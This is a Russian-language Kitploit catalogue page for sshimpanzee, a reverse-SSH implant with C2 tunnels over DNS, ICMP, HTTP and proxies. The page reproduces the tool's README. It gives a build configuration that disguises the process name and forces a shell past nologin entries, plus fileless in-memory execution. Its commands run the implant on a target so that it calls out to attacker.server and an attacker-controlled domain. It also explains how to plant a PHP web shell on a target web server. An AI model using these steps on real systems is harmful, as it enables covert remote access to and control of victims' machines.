Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
sshimpanzee — Имплант на основе SSHD, поддерживающий механизмы туннелирования для связи с C2 (DNS, ICMP, HTTP-инкапсуляция, HTTP/Socks прокси, UDP...) | Kitploit
Инструменты/GitHubGitHub/lexfo/sshimpanzee
Генерация полезной нагрузкиПост-эксплуатацияСетевая безопасностьКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаАнализ DNS
GitHublexfo/sshimpanzee

sshimpanzee

Имплант на основе SSHD, поддерживающий механизмы туннелирования для связи с C2 (DNS, ICMP, HTTP-инкапсуляция, HTTP/Socks прокси, UDP...)

Репозиторий
293291 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Sshimpanzee

Sshimpanzee позволяет создать статический обратный SSH-сервер. Вместо прослушивания порта и ожидания подключений, SSH-сервер инициирует обратное соединение с IP-адресом атакующего, как обычный reverse shell. Sshimpanzee позволяет использовать все возможности обычного SSH соединения, такие как проброс портов, динамические SOCKS-прокси или FTP-сервер.

Более того, если прямое соединение от машины жертвы к серверу атакующего невозможно, он предоставляет различные механизмы туннелирования, такие как DNS-туннелирование, ICMP-туннелирование или HTTP-инкапсуляцию. Он также поддерживает HTTP- и SOCKS5-прокси. Технический документ technical paper доступен в блоге lexfo.

СБОРКА В DOCKER - РЕКОМЕНДУЕТСЯ

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Возможно, потребуется включить переменную окружения DOCKER_BUILDKIT=1

Файл сборки

Сборка производится на основе файла build.yaml:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Использование

Во время выполнения бинарный файл sshimpanzee настраивается через переменные окружения. Переменная MODE позволяет выбрать между скомпилированными туннелями. Каждый туннель можно настроить через переменные окружения. Например, для получения классического обратного подключения к 127.0.0.1:8080 используйте следующее:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Можно запустить sshimpanzee в отладочном режиме с флагом -d. В отладочном режиме sshimpanzee останется на переднем плане.

Туннели

В настоящее время sshimpanzee поддерживает несколько способов, с помощью которых имплант может связаться с SSH-клиентом атакующего:

  • DNS-туннелирование с использованием протокола dns2tcp
  • Прокси: HTTP/SOCKS4/SOCKS5
  • Сокеты: (может быть полезно, если вы хотите реализовать свои собственные туннели)
  • ICMP-туннель
  • HTTP-инкапсуляция

Sock-соединение

  1. Запустите ssh на стороне клиента следующим образом:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Запустите sshimpanzee на цели:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Другие примеры:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

Подключение через прокси

  1. Запустите ssh на стороне клиента следующим образом:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. Запустите sshimpanzee на цели:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Другие примеры:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Использование DNS-туннелирования

  1. На вашем сервере запустите стандартный dns2tcpd, используя файл конфигурации из этого репозитория. Вам потребуется изменить домен (и порт ресурса, если нужно).
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. Запустите ssh на стороне клиента следующим образом:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Запустите бинарный файл sshimpanzee:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Другие примеры:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

Использование ICMP-туннелирования

  1. На вашем сервере добавьте правильные возможности, чтобы избежать запуска proxycommand от root, и отключите ответ на ping от системы
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. Запустите стандартный SSH-клиент с icmptunnel в качестве proxycommand:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. Запустите бинарный файл sshimpanzee:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Использование HTTP-инкапсуляции (ssh -> http-сервер -> sshd)

  1. Загрузите файл /tuns/http_enc/proxy.php и файлы sshd на ваш целевой веб-сервер

  2. Убедитесь, что proxy.php правильно выполняется

  3. Запустите бинарный файл sshd на веб-сервере

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. Запустите ssh на клиентской машине с помощью python-скрипта из utils/scripts/ в качестве proxy command:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

В proxy_cli.py можно передавать несколько аргументов для добавления прокси. В настоящее время поддерживается только PHP. На сервере JSP рекомендуется использовать: A Black Path Toward The Sun (ABPTTS)

Замечания по HTTP-инкапсуляции

  1. Proxy.php — это минимальная веб-шелл. Вы можете использовать её для загрузки sshd на сервер и выполнения команд. proxy_cli.py предоставляет опции --run и --drop для этого.

  2. Вы можете заметить значительную задержку ввода, это связано с тем, что к пакетам, отправляемым SSH-клиентом, добавляется задержка от 1 до 5 секунд, чтобы избежать слишком большого количества HTTP-запросов. Если вы не против большого числа HTTP-запросов (и, соответственно, большого количества логов на веб-сервере), добавьте опцию --no-buffer в команду proxy_cli.py.

Использование клиента sshimpanzee

Этот репозиторий также предоставляет клиент, расположенный в utils/client/bin. Просто скопируйте ключ CLIENT в utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

Однако это может быть менее надёжно, чем использование ssh напрямую.

Создание собственного механизма туннелирования

Все туннели находятся в каталоге tuns/. Если вы хотите добавить ещё один туннель, просто добавьте функцию с именем вашего туннеля в tuns/builder.py. Эта функция отвечает за создание архива libtun.a, содержащего необходимое количество .o файлов, один из которых экспортирует символ tun(). Альтернативно, вы можете собрать libtun.a самостоятельно и использовать туннель с именем no_build, указав путь к вашему пользовательскому libtun.a

Использование выполнения без файлов

Если sshimpanzee собран с модулем подсистемы remote-exec, можно удалённо выполнять код полностью в памяти.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Планы на будущее

  • Добавить другие туннели:
    • HTTP-инкапсуляция (первый шаг через http_enc и proxy.php: добавление JSP и других программ)
    • Пользовательский стек TCP/IP с raw sock?
    • ICMP: Xor/Шифрование строк для избежания обнаружения при анализе сети
    • Подсистема для пост-эксплуатации:
      • Procdump
      • TCP Scan

Благодарности

Этот репозиторий опирается на множество различных проектов.

  • Прежде всего, Openssh-portable (9.1): https://github.com/openssh/openssh-portable
  • Библиотека musl libc для статической сборки: https://wiki.musl-libc.org/

Для туннелей:

  • Dns2tcp: https://github.com/alex-sector/dns2tcp
  • icmptunnel (сильно модифицирован для улучшения устойчивости туннеля): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket: https://github.com/brechtsanders/proxysocket

Важно отметить, что это не очень оригинальный проект; использование SSH-протокола в качестве оружия уже было реализовано несколько лет назад:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
Скачать инструмент